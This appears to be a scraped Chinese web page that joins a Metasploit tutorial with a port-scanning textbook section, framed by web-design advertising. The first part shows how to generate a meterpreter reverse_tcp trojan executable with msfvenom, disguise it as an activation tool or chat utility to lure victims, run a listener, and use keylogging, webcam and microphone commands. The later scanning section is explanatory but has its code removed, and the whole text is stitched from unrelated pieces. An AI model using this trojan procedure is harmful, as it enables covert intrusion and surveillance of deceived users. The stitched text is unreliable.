下面簡單的演示一下msfvenom的簡單使用,
南安網站建設公司成都創新互聯,南安網站設計制作,有大型網站制作公司豐富經驗。已為南安1000+提供企業網站建設服務。企業網站搭建\成都外貿網站制作要多少錢,請找那個售后服務好的南安做網站的公司定做!
攻擊者:kali Linux? ip:192.168.187.130
靶機:Windows10?
思路:利用msfvenom制作 .exe 文件,然后發送到靶機Windows上面,運行后就可以在kali linux 上面利用msfconsole連接msfvenom服務控制靶機
1. 在kali Linux 上面啟動一個終端 執行以下命令
列出所有可以用的并在屏幕顯示條目中有 Windows?x64 tcp 的
payload在這里我們選擇windows/x64/meterpreter/reverse_tcp
下面是使用msfvenom的部分參數,是比較常用的
-p 選擇一個payload
-l 載荷列表
-f 生成的文件格式
-e 編碼方式
-i 編碼次數
-b 在生成的程序中避免出現的值
-x 允許我們指定一個自定義的可執行文件作為模板,也就是將木馬捆綁到這個可執行文件上。
-h 幫助
在這里,我們生成一個test.exe的木馬文件(文件在root文件夾下),控制端的ip為192.168.187.130,端口號為4444。然后利用這個木馬傳給靶機,可以改一改名字,比如 QQ坦白說查看器之類的,殺毒軟件可能報毒,其實是需要免殺處理的,后面學了再說吧。
2. 利用msfconsole監聽
啟動msfconsole? 漫長的等待..................................................
然后報錯了,
然后查了一下,分配的內存不夠
解決地址
這樣解決有點慢,我有一個更暴力的,既然內存不足,我就把虛擬機分配給kali Linux的內存加到2G,OK問題解決
鍵入以下命令:
然后就可以等待了,當靶機點擊了那個文件時
就可以開始你的表演了,比如截圖,打開攝像頭等等
前言
最近整理了一些 奇安信華為深信服大佬 的課件資料+大廠面試課題,想要的可以私信自取, 無償贈送 給粉絲朋友~
msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.是用來生成后門的軟件。
MSFvenom是Msfpayload和Msfencode的組合,將這兩個工具都放在一個Framework實例中。自2015年6月8日起,msfvenom替換了msfpayload和msfencode。
演示環境
使用Kali 2021.3進行演示操作
目標靶機: Win10專業版
軟件:msfvenom、msfconsole(Kali系統內置)
1.進入管理員模式
命令: sudo su
解釋: 不在管理員模式下運行可能會有權限不夠的提示,為了避免命令執行失敗,在管理員下運行以下命令
命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=本地ip LPORT=本地端口號 –f exe –o 文件名.exe
解釋: 本地ip寫自己Kali的IP地址,用ifconfig就能查看自己Kali的IP地址
本地端口自己隨便設置一個沒有被占用的端口號,如果端口號被占用那么文件會生成失敗,換一個端口號就性
文件名可以隨便寫自己喜歡的名字,比如寫Win10激活工具,可能更容易讓目標主機上鉤
當然MSF也可以用來滲透手機、mac、Linux等
接下來運行命令生成文件
默認生成的文件在根目錄下
把剛才生成的文件放到目標靶機Win10系統中
命令: msfconsole
(1)命令: use exploit/multi/handler(選擇模塊)
(2)命令: set payload windows/meterpreter/reverse_tcp(選擇攻擊模塊)
(3)命令: set LhOST 192.168.32.1(填寫自己主機的IP地址)
(4)命令: set lport 1111(填寫剛才生成文件時的端口號)
(5)命令: show options(查看設置參數)
(6)命令: exploit -z -j(后臺執行)
我們這里也可以把這個程序偽裝一下,把他的圖標改一下,或者把它捆綁在某些軟件上面,當用戶打開就自動安裝到對方電腦上面
(1)命令: sessions (查看上鉤的用戶)
(2)命令: sessions -i 1 (選擇需要攻擊的用戶,這里選擇第 1 個
命令: run vnc -i
cmd指令:
cat 讀取文件內容到屏幕
cd 更改目錄
checksum 檢索文件的校驗和
cp 將源復制到目標
del 刪除指定文件
dir 列出文件(ls 的別名)
下載 下載文件或目錄
編輯 編輯文件
getlwd 打印本地工作目錄
getwd 打印工作目錄
lcd 更改本地工作目錄
lls 列出本地文件
lpwd 打印本地工作目錄
ls 列出文件
mkdir 創建目錄
mv 將源移動到目標
pwd 打印工作目錄
rm 刪除指定文件
rmdir 刪除目錄
search 搜索文件
show_mount 列出所有掛載點/邏輯驅動器
upload 上傳文件或目錄
pkill 按名稱終止進程
keyscan_start 開始捕獲擊鍵(開始鍵盤記錄)
keyscan_dump 轉儲按鍵緩沖(下載鍵盤記錄)
keyscan_stop 停止捕獲擊鍵(停止鍵盤記錄)
record_mic X秒從默認的麥克風record_mic音頻記錄(音頻錄制)
webcam_chat 開始視頻聊天(視頻,對方會有彈窗)
webcam_list 單攝像頭(查看攝像頭列表)
webcam_snap 采取快照從指定的攝像頭(攝像頭拍攝一張照片)
webcam_stream 播放視頻流從指定的攝像頭(開啟攝像頭監控)
enumdesktops 列出所有可訪問的桌面和窗口站(窗體列表)
getdesktop 得到當前的Meterpreter桌面
reboot 重新啟動遠程計算機
shutdown 關閉遠程計算機
shell 放入系統命令 shell
enumdesktops 列出所有可訪問的桌面和窗口站
getdesktop 獲取當前的meterpreter桌面
idletime 返回遠程用戶空閑的秒數
keyboard_send 發送擊鍵
keyevent 發送按鍵事件
keyscan_dump 轉儲擊鍵緩沖區
keyscan_start 開始捕獲擊鍵
keyscan_stop 停止捕獲擊鍵
mouse 發送鼠標事件
screenshare 實時觀看遠程用戶桌面
screenshot 抓取交互式桌面的屏幕截圖
setdesktop 更改 Meterpreters 當前桌面
uictl 控制一些用戶界面組件
record_mic 從默認麥克風錄制音頻 X 秒
webcam_chat 開始視頻聊天
webcam_list 列出網絡攝像頭
webcam_snap 從指定的網絡攝像頭拍攝快照
webcam_stream 播放來自指定網絡攝像頭的視頻流
play 在目標系統上播放波形音頻文件 (.wav)
getsystem 嘗試將您的權限提升到本地系統的權限
execute -f notepad 打開記事本
————————————————
原文鏈接:
執行 TCP 端口掃描的一種方式就是執行一部分。目標端口上的 TCP 三次握手用于識別端口是否接受連接。這一類型的掃描指代隱秘掃描, SYN 掃描,或者半開放掃描。這個秘籍演示了如何使用 Scapy 執行 TCP 隱秘掃描。
為了使用 Scapy 執行 TCP 隱秘 掃描,你需要一個運行 TCP 網絡服務的遠程服務器。這個例子中我們使用 Metasploitable2 實例來執行任務。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。
此外,這一節也需要編寫腳本的更多信息,請參考第一章中的“使用文本編輯器*VIM 和 Nano)。
為了展示如何執行 SYN 掃描,我們需要使用 Scapy 構造 TCP SYN 請求,并識別和開放端口、關閉端口以及無響應系統有關的響應。為了向給定端口發送 TCP SYN 請求,我們首先需要構建請求的各個層面。我們需要構建的第一層就是 IP 層:
為了構建請求的 IP 層,我們需要將 IP 對象賦給變量 i 。通過調用 display 函數,我們可以確定對象的屬性配置。通常,發送和接受地址都設為回送地址, 127.0.0.1 。這些值可以通過修改目標地址來修改,也就是設置 i.dst 為想要掃描的地址的字符串值。通過再次調用 dislay 函數,我們看到不僅僅更新的目標地址,也自動更新了和默認接口相關的源 IP 地址?,F在我們構建了請求的 IP 層,我們可以構建 TCP 層了。
為了構建請求的 TCP 層,我們使用和 IP 層相同的技巧。在這個立即中, TCP 對象賦給了 t 變量。像之前提到的那樣,默認的配置可以通過調用 display 函數來確定。這里我們可以看到目標端口的默認值為 HTTP 端口 80。對于我們的首次掃描,我們將 TCP 設置保留默認?,F在我們創建了 TCP 和 IP 層,我們需要將它們疊放來構造請求。
我們可以通過以斜杠分離變量來疊放 IP 和 TCP 層。這些層面之后賦給了新的變量,它代表整個請求。我們之后可以調用 dispaly 函數來查看請求的配置。一旦構建了請求,可以將其傳遞給 sr1 函數來分析響應:
相同的請求可以不通過構建和堆疊每一層來執行。反之,我們使用單獨的一條命令,通過直接調用函數并傳遞合適的參數:
要注意當 SYN 封包發往目標 Web 服務器的 TCP 端口 80,并且該端口上運行了 HTTP 服務時,響應中會帶有 TCP 標識 SA 的值,這表明 SYN 和 ACK 標識都被激活。這個響應表明特定的目標端口是開放的,并接受連接。如果相同類型的封包發往不接受連接的端口,會收到不同的請求。
當 SYN 請求發送給關閉的端口時,返回的響應中帶有 TCP 標識 RA,這表明 RST 和 ACK 標識為都被激活。ACK 為僅僅用于承認請求被接受,RST 為用于斷開連接,因為端口不接受連接。作為替代,如果 SYN 封包發往崩潰的系統,或者防火墻過濾了這個請求,就可能接受不到任何信息。由于這個原因,在 sr1 函數在腳本中使用時,應該始終使用 timeout 選項,來確保腳本不會在無響應的主機上掛起。
如果函數對無響應的主機使用時, timeout 值沒有指定,函數會無限繼續下去。這個演示中, timout 值為 1秒,用于使這個函數更加完備,響應的值可以用于判斷是否收到了響應:
Python 的使用使其更易于測試變量來識別 sr1 函數是否對其復制。這可以用作初步檢驗,來判斷是否接收到了任何響應。對于接收到的響應,可以執行一系列后續檢查來判斷響應表明端口開放還是關閉。這些東西可以輕易使用 Python 腳本來完成,像這樣:
在這個 Python 腳本中,用于被提示來輸入 IP 地址,腳本之后會對定義好的端口序列執行 SYN 掃描。腳本之后會得到每個連接的響應,并嘗試判斷響應的 SYN 和 ACK 標識是否激活。如果響應中出現并僅僅出現了這些標識,那么會輸出相應的端口號碼。
運行這個腳本之后,輸出會顯示所提供的 IP 地址的系統上,前 100 個端口中的開放端口。
這一類型的掃描由發送初始 SYN 封包給遠程系統的目標 TCP 端口,并且通過返回的響應類型來判斷端口狀態來完成。如果遠程系統返回了 SYN+ACK 響應,那么它正在準備建立連接,我們可以假設這個端口開放。如果服務返回了 RST 封包,這就表明端口關閉并且不接收連接。此外,如果沒有返回響應,掃描系統和遠程系統之間可能存在防火墻,它丟棄了請求。這也可能表明主機崩潰或者目標 IP 上沒有關聯任何系統。
Nmap 擁有可以執行遠程系統 SYN 掃描的掃描模式。這個秘籍展示了如何使用 Namp 執行 TCP 隱秘掃描。
為了使用 Nmap 執行 TCP 隱秘掃描,你需要一個運行 TCP 網絡服務的遠程服務器。這個例子中我們使用 Metasploitable2 實例來執行任務。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。
就像多數掃描需求那樣,Nmap 擁有簡化 TCP 隱秘掃描執行過程的選項。為了使用 Nmap 執行 TCP 隱秘掃描,應使用 -sS 選項,并附帶被掃描主機的 IP 地址。
在提供的例子中,特定的 IP 地址的 TCP 80 端口上執行了 TCP 隱秘掃描。和 Scapy 中的技巧相似,Nmap 監聽響應并通過分析響應中所激活的 TCP 標識來識別開放端口。我們也可以使用 Namp 執行多個特定端口的掃描,通過傳遞逗號分隔的端口號列表。
在這個例子中,目標 IP 地址的端口 21、80 和 443 上執行了 SYN 掃描。我們也可以使用 Namp 來掃描主機序列,通過標明要掃描的第一個和最后一個端口號,以破折號分隔:
在所提供的例子中,SYN 掃描在 TCP 20 到 25 端口上執行。除了擁有指定被掃描端口的能力之外。Nmap 同時擁有配置好的 1000 和常用端口的列表。我們可以執行這些端口上的掃描,通過不帶任何端口指定信息來運行 Nmap:
在上面的例子中,掃描了 Nmap 定義的 1000 個常用端口,用于識別 Metasploitable2 系統上的大量開放端口。雖然這個技巧在是被多數設備上很高效,但是也可能無法識別模糊的服務或者不常見的端口組合。如果掃描在所有可能的 TCP 端口上執行,所有可能的端口地址值都需要被掃描。定義了源端口和目標端口地址的 TCP 頭部部分是 16 位長。并且,每一位可以為 1 或者 0。因此,共有 2 ** 16 或者 65536 個可能的 TCP 端口地址。對于要掃描的全部可能的地址空間,需要提供 0 到 65535 的端口范圍,像這樣:
這個例子中,Metasploitable2 系統上所有可能的 65536 和 TCP 地址都掃描了一遍。要注意該掃描中識別的多數服務都在標準的 Nmap 1000 掃描中識別過了。這就表明在嘗試識別目標的所有可能的攻擊面的時候,完整掃描是個最佳實踐。Nmap 可以使用破折號記法,掃描主機列表上的 TCP 端口:
這個例子中,TCP 80 端口的 SYN 掃描在指定地址范圍內的所有主機上執行。雖然這個特定的掃描僅僅執行在單個端口上,Nmap 也能夠同時掃描多個系統上的多個端口和端口范圍。此外,Nmap 也能夠進行配置,基于 IP 地址的輸入列表來掃描主機。這可以通過 -iL 選項并指定文件名,如果文件存放于執行目錄中,或者文件路徑來完成。Nmap 之后會遍歷輸入列表中的每個地址,并對地址執行特定的掃描。
Nmap SYN 掃描背后的底層機制已經討論過了。但是,Nmap 擁有多線程功能,是用于執行這類掃描的快速高效的方式。
除了其它已經討論過的工具之外,Metasploit 擁有用于 SYN 掃描的輔助模塊。這個秘籍展示了如何使用 Metasploit 來執行 TCP 隱秘掃描。
為了使用 Metasploit 執行 TCP 隱秘掃描,你需要一個運行 TCP 網絡服務的遠程服務器。這個例子中我們使用 Metasploitable2 實例來執行任務。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。
Metasploit 擁有可以對特定 TCP 端口執行 SYN 掃描的輔助模塊。為了在 Kali 中啟動 Metasploit,我們在終端中執行 msfconsole 命令。
為了在 Metasploit 中執行 SYN 掃描,以輔助模塊的相對路徑調用 use 命令。一旦模塊被選中,可以執行 show options 命令來確認或修改掃描配置。這個命令會展示四列的表格,包括 name 、 current settings 、 required 和 description 。 name 列標出了每個可配置變量的名稱。 current settings 列列出了任何給定變量的現有配置。 required 列標出對于任何給定變量,值是否是必須的。 description 列描述了每個變量的功能。任何給定變量的值可以使用 set 命令,并且將新的值作為參數來修改。
在上面的例子中, RHOSTS 值修改為我們打算掃描的遠程系統的 IP 地址。地外,線程數量修改為 20。 THREADS 的值定義了在后臺執行的當前任務數量。確定線程數量涉及到尋找一個平衡,既能提升任務速度,又不會過度消耗系統資源。對于多數系統,20 個線程可以足夠快,并且相當合理。 PORTS 值設為 TCP 端口 80(HTTP)。修改了必要的變量之后,可以再次使用 show options 命令來驗證。一旦所需配置驗證完畢,就可以執行掃描了。
上面的例子中,所指定的遠程主機的錢 100 個 TCP 端口上執行了 TCP SYN 掃描。雖然這個掃描識別了目標系統的多個設備,我們不能確認所有設備都識別出來,除非所有可能的端口地址都掃描到。定義來源和目標端口地址的TCP 頭部部分是 16 位長。并且,每一位可以為 1 或者 0。因此,共有 2 ** 16 或 65536 個可能的 TCP 端口地址。對于要掃描的整個地址空間,需要提供 0 到 65535 的 端口范圍,像這樣:
在這個李忠,遠程系統的所有開放端口都由掃描所有可能的 TCP 端口地址來識別。我們也可以修改掃描配置使用破折號記法來掃描地址序列。
這個例子中,TCP SYN 掃描執行在由 RHOST 變量指定的所有主機地址的 80 端口上。與之相似, RHOSTS 可以使用 CIDR 記法定義網絡范圍。
Metasploit SYN 掃描輔助模塊背后的底層原理和任何其它 SYN 掃描工具一樣。對于每個被掃描的端口,會發送 SYN 封包。SYN+ACK 封包會用于識別活動服務。使用 MEtasploit 可能更加有吸引力,因為它擁有交互控制臺,也因為它是個已經被多數滲透測試者熟知的工具。
除了我們之前學到了探索技巧,hping3 也可以用于執行端口掃描。這個秘籍展示了如何使用 hping3 來執行 TCP 隱秘掃描。
為了使用 hping3 執行 TCP 隱秘掃描,你需要一個運行 TCP 網絡服務的遠程服務器。這個例子中我們使用 Metasploitable2 實例來執行任務。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。
除了我們之前學到了探索技巧,hping3 也可以用于執行端口掃描。為了使用 hping3 執行端口掃描,我們需要以一個整數值使用 --scan 模式來指定要掃描的端口號。
上面的例子中,SYN 掃描執行在指定 IP 地址的 TCP 端口 80 上。 -S 選項指明了發給遠程系統的封包中激活的 TCP 標識。表格展示了接收到的響應封包中的屬性。我們可以從輸出中看到,接收到了SYN+ACK 響應,所以這表示目標主機端口 80 是開放的。此外,我們可以通過輸入夠好分隔的端口號列表來掃描多個端口,像這樣:
在上面的掃描輸出中,你可以看到,僅僅展示了接受到 SYN+ACK 標識的結果。要注意和發送到 443 端口的 SYN 請求相關的響應并沒有展示。從輸出中可以看出,我們可以通過使用 -v 選項增加詳細讀來查看所有響應。此外,可以通過傳遞第一個和最后一個端口地址值,來掃描端口范圍,像這樣:
這個例子中,100 個端口的掃描足以識別 Metasploitable2 系統上的服務。但是,為了執行 所有 TCP 端口的掃描,需要掃描所有可能的端口地址值。定義了源端口和目標端口地址的 TCP 頭部部分是 16 位長。并且,每一位可以為 1 或者 0。因此,共有 2 ** 16 或者 65536 個可能的 TCP 端口地址。對于要掃描的全部可能的地址空間,需要提供 0 到 65535 的端口范圍,像這樣:
hping3 不用于一些已經提到的其它工具,因為它并沒有 SYN 掃描模式。但是反之,它允許你指定 TCP 封包發送時的激活的 TCP 標識。在秘籍中的例子中, -S 選項讓 hping3 使用 TCP 封包的 SYN 標識。
在多數掃描工具當中,TCP 連接掃描比 SYN 掃描更加容易。這是因為 TCP 連接掃描并不需要為了生成和注入 SYN 掃描中使用的原始封包而提升權限。Scapy 是它的一大例外。Scapy 實際上非常難以執行完全的 TCP 三次握手,也不實用。但是,出于更好理解這個過程的目的,我們來看看如何使用 Scapy 執行連接掃描。
為了使用 Scapy 執行全連接掃描,你需要一個運行 UDP 網絡服務的遠程服務器。這個例子中我們使用 Metasploitable2 實例來執行任務。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。
此外,這一節也需要編寫腳本的更多信息,請參考第一章中的“使用文本編輯器*VIM 和 Nano)。
Scapy 中很難執行全連接掃描,因為系統內核不知道你在 Scapy 中發送的請求,并且嘗試阻止你和遠程系統建立完整的三次握手。你可以在 Wireshark 或 tcpdump 中,通過發送 SYN 請求并嗅探相關流量來看到這個過程。當你接收到來自遠程系統的 SYN+ACK 響應時,Linux 內核會攔截它,并將其看做來源不明的響應,因為它不知道你在 Scapy 中 發送的請求。并且系統會自動使用 TCP RST 封包來回復,因此會斷開握手過程??紤]下面的例子:
這個 Python 腳本的例子可以用做 POC 來演系統破壞三次握手的問題。這個腳本假設你將帶有開放端口活動系統作為目標。因此,假設 SYN+ACK 回復會作為初始 SYN 請求的響應而返回。即使發送了最后的 ACK 回復,完成了握手,RST 封包也會阻止連接建立。我們可以通過觀察封包發送和接受來進一步演示。
在這個 Python 腳本中,每個發送的封包都在傳輸之前展示,并且每個收到的封包都在到達之后展示。在檢驗每個封包所激活的 TCP 標識的過程中,我們可以看到,三次握手失敗了??紤]由腳本生成的下列輸出:
在腳本的輸出中,我們看到了四個封包。第一個封包是發送的 SYN 請求,第二個封包時接收到的 SYN+ACK 回復,第三個封包時發送的 ACK 回復,之后接收到了 RST 封包,它是最后的 ACK 回復的響應。最后一個封包表明,在建立連接時出現了問題。Scapy 中可能能夠建立完成的三次握手,但是它需要對本地 IP 表做一些調整。尤其是,如果你去掉發往遠程系統的 TSR 封包,你就可以完成握手。通過使用 IP 表建立過濾機制,我們可以去掉 RST 封包來完成三次握手,而不會干擾到整個系統(這個配置出于功能上的原理并不推薦)。為了展示完整三次握手的成功建立,我們使用 Netcat 建立 TCP 監聽服務。之后嘗試使用 Scapy 連接開放的端口。
這個例子中,我們在 TCP 端口 4444 開啟了監聽服務。我們之后可以修改之前的腳本來嘗試連接 端口 4444 上的 Netcat 監聽服務。
這個腳本中,SYN 請求發送給了監聽端口。收到 SYN+ACK 回復之后,會發送 ACK回復。為了驗證連接嘗試被系統生成的 RST 封包打斷,這個腳本應該在 Wireshark 啟動之后執行,來捕獲請求蓄力。我們使用 Wireshark 的過濾器來隔離連接嘗試序列。所使用的過濾器是 tcp (ip.src == 172.16.36.135 || ip.dst == 172.16.36.135) 。過濾器僅僅用于展示來自或發往被掃描系統的 TCP 流量。像這樣:
既然我們已經精確定位了問題。我們可以建立過濾器,讓我們能夠去除系統生成的 RST 封包。這個過濾器可以通過修改本地 IP 表來建立:
在這個例子中,本地 IP 表的修改去除了所有發往被掃描主機的目標地址的 TCP RST 封包。 list 選項隨后可以用于查看 IP 表的條目,以及驗證配置已經做了修改。為了執行另一次連接嘗試,我們需要確保 Natcat 仍舊監聽目標的 4444 端口,像這樣:
和之前相同的 Python 腳本可以再次使用,同時 WIreshark 會捕獲后臺的流量。使用之前討論的顯示過濾器,我們可以輕易專注于所需的流量。要注意三次握手的所有步驟現在都可以完成,而不會收到系統生成的 RST 封包的打斷,像這樣:
此外,如果我們看一看運行在目標系統的 Netcat 服務,我們可以注意到,已經建立了連接。這是用于確認成功建立連接的進一步的證據。這可以在下面的輸出中看到:
雖然這個練習對理解和解決 TCP 連接的問題十分有幫助,恢復 IP 表的條目也十分重要。RST 封包 是 TCP 通信的重要組成部分,去除這些響應會影響正常的通信功能。洗嘜按的命令可以用于刷新我們的 iptable 規則,并驗證刷新成功:
就像例子中展示的那樣, flush 選項應該用于清楚 IP 表的條目。我們可以多次使用 list 選項來驗證 IP 表的條目已經移除了。
執行 TCP 連接掃描的同居通過執行完整的三次握手,和遠程系統的所有被掃描端口建立連接。端口的狀態取決于連接是否成功建立。如果連接建立,端口被認為是開放的,如果連接不能成功建立,端口被認為是關閉的。
當前文章:Linux命令msf linux命令行安裝yum
轉載注明:http://m.2m8n56k.cn/article32/doggcsc.html
成都網站建設公司_創新互聯,為您提供自適應網站、外貿建站、商城網站、小程序開發、外貿網站建設、網站內鏈
聲明:本網站發布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:[email protected]。內容未經允許不得轉載,或轉載時需注明來源: 創新互聯